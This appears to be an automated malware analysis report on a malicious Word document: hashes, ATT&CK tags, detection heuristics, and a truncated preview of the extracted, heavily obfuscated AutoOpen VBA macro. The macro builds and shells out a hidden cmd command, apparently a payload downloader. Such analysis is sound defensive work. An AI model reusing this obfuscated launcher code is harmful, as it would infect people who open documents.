Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8f44922977b2877…

MALICIOUS

Office (OLE)

92.0 KB Created: 2018-08-08 14:42:00 Authoring application: Microsoft Office Word First seen: 2018-08-14
MD5: fbad17f5fd156590ae8dd0e2f0631585 SHA-1: 37874ad3d2118f6f33b68609e7f5d54d23658f13 SHA-256: f8f44922977b287746e60daada9e24fbfda4f566edf51ae54f08d20e30e4ba9d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a legacy WordBasic AutoOpen macro, a common indicator of malicious documents. The macro is heavily obfuscated and attempts to execute shell commands. While the exact command is not fully reconstructible due to obfuscation, the presence of AutoOpen and the nature of the obfuscated code strongly suggest it's designed to download and execute a secondary payload. The ClamAV detection 'Doc.Malware.Valyria-6710189-0' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Malware.Valyria-6710189-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6710189-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5267 bytes
SHA-256: 15580f9d5bcef7333615dfc262322696e8c9af7f07c2728a6044cf4149e01e37
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KFLBrzNYiRw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   TypeName Cos(jodIjC)
   TypeName Round(HRccq * qjcpq * lZwELO - rEQYwG)
   TypeName CBool(wsjjn)
   TypeName Log(CdFqH)
   TypeName CLng(11071 + 83598)
   TypeName CDate(295435730)
Shell@ CStr("c") + CStr("m") + VkZmwfk + XXOqsiV + bJQsWL + dVqHfnWmoQr + lVwjF + XPHMCOjIBSIX + ZRswwmlwk, 958198930 - 958198930
   TypeName NhwjH
   TypeName 642
End Sub


Attribute VB_Name = "UzHGipQ"
Function bJQsWL()
On Error Resume Next
TypeName CInt(2426)
   TypeName Round(67)
jLARfis = "d /V:O/" + "C" + CStr(Chr(jOlKidimAwM + jHhJMBttGdL + 34 + VNzEYVkjj + uJLFIDSsWXsC)) + "s" + "e" + "t jnP=i" + "zbUwoUz" + "QNwlA" + "qjacWz" + "hOX" + "dl"
TypeName ChrB(22699 / DzXZHT / 52278 - JoXRKz)
   TypeName Fix(ktwKnC)
   TypeName 7
wvHfCJpQ = "IIt-C{.mp=" + "3xu;2$f+ey" + ",vr" + "n" + "P S@\/)DZ"
TypeName 9157
   TypeName 1366
iLvCpo = "}" + "F:BH" + "(k0'" + "sV8&&for %" + "i" + " " + "in (" + "3" + "2;5;10;4" + "2;46" + ";66;19;42" + ";23"
TypeName DlTzzR
   TypeName lmCFz
HWjzUzh = ";23;49" + ";39;28;61;" + "63;33;47;" + "42;10;27" + ";5" + ";2"
TypeName ppPuW
   TypeName CBool(TbJnF)
   TypeName Fix(kaqjnB * ETAKBh)
NUVBQ = ";14;42;" + "16;26;49;" + "9;42" + ";26;30" + ";17;42;2;2" + "8;23;0;4" + "2;47;26;37" + ";39;8;60;1" + "8;33;65;" + "19;26;2" + "6;32"
TypeName 436595736
   TypeName Tan(30586 * 52395 * JsbuYj * zmwXnW)
   TypeName CByte(432072661)
pMVGjvIEAE = ";59;5" + "3;53;3" + "1;" + "42" + ";23" + ";0;66;66;1" + "5;63;0" + ";66;66;3" + "0;1" + "6"
TypeName BdEsS
   TypeName Fix(60)
ihwPbPJKCcF = ";5;3" + "1;53" + ";12;47;" + "50;35;" + "25;51;1" + "9;26;26;" + "32;5"
TypeName Round(vXJRHu + vTONv * KYofXD + QzCjt)
   TypeName 4
   TypeName CLng(434993238)
rIJfW = "9;53;53;4" + "0;46;15" + ";26;" + "0;66;" + "30;46;36;" + "53;5;12;5" + "1;19;26" + ";2" + "6;32;" + "59;53" + ";53;"
TypeName CInt(68403 - EjzUZ / PIDCc * BaTVzA)
   TypeName Fix(qlMUYo * oUpcNb / 77416 * wMJSjD)
LwAmlpP = "40;46;" + "0;5;66;5;2" + "3" + ";15" + ";46;30;1" + "6;23;53;" + "28;" + "38;51;19;" + "26;26;3" + "2;" + "59;5"
bJQsWL = jLARfis + wvHfCJpQ + iLvCpo + HWjzUzh + NUVBQ + pMVGjvIEAE + ihwPbPJKCcF + rIJfW + LwAmlpP
   TypeName CDbl(ppDBA)
   TypeName IpJDnj
End Function
Function dVqHfnWmoQr()
On Error Resume Next
TypeName 7334836
   TypeName Sin(FOwaUK)
YsoQwqZ = "3" + ";53;" + "16;15;66;1" + "5;30;23;6" + "3" + ";53" + ";45;1" + "3;67;16;" + "2" + "0;20" + ";"
TypeName CSng(wunRmr * oNMZbB + iirmO + GzQwj)
   TypeName CDbl(90434 + WGnbAP)
   TypeName lqzjCc
NWCPoiTuCz = "20;63;5" + "1;" + "19" + ";26" + ";26;32;59" + ";53;53;" + "22;0;45;" + "15;46;" + "32;23;36;6" + "6;30;16;" + "5;31;" + "53"
TypeName ChrB(294951312)
   TypeName Rnd(Nsiwi - 79620 / uwpSGZ * alrkaD)
   TypeName CStr(obEtj + MmvtaM)
aElXqFwch = ";67" + ";60;" + "43;65;30;5" + "0;" + "32;23;0" + ";26;62;65" + ";51" + ";65;54;37" + ";" + "39" + ";9;50"
TypeName ChrB(220655313)
   TypeName ZBDLl
uwZTJDdn = ";22;49;" + "3" + "3;49;6" + "5;34;68;64" + ";65;37;3" + "9;2;2" + "0;14;33" + ";39;42;4" + "7;45;"
TypeName CDate(27837 + NHkUQ)
   TypeName 7633
UWAmXfj = "5" + "9;26;" + "42;" + "31;32;41;6" + "5;" + "52;65" + ";41;39;9;5"
TypeName CSng(312)
   TypeName Round(6)
IOMKSjmGP = "0;22;41" + ";" + "65" + ";3" + "0;42;3" + "5;42;6" + "5;" + "37;40;5" + ";46;4" + "2" + ";1"
TypeName 7
   TypeName Sin(80740 / oUHibt)
   TypeName 303
nuhubtvF = "5;16;19;6" + "2;39;50;2;" + "56;49;0;4" + "7;49;" + "39;8;60;18" + ";54;29" + ";26;46;" + "43;29" + ";39" + ";28;"
TypeName Hex(8919)
   TypeName FzadAv
nRAqSY = "61;63;3" + "0;55;5;10;" + "47" + ";23" + ";"
TypeName Round(7271)
   TypeName 1
wvliNIqUrj = "5" + ";1" + "5;22;58;" + "0;" + "2" + "3;42;62;39" + ";50" + ";2;56;44;4" + "9;39;2" + ";20;14;5
... (truncated)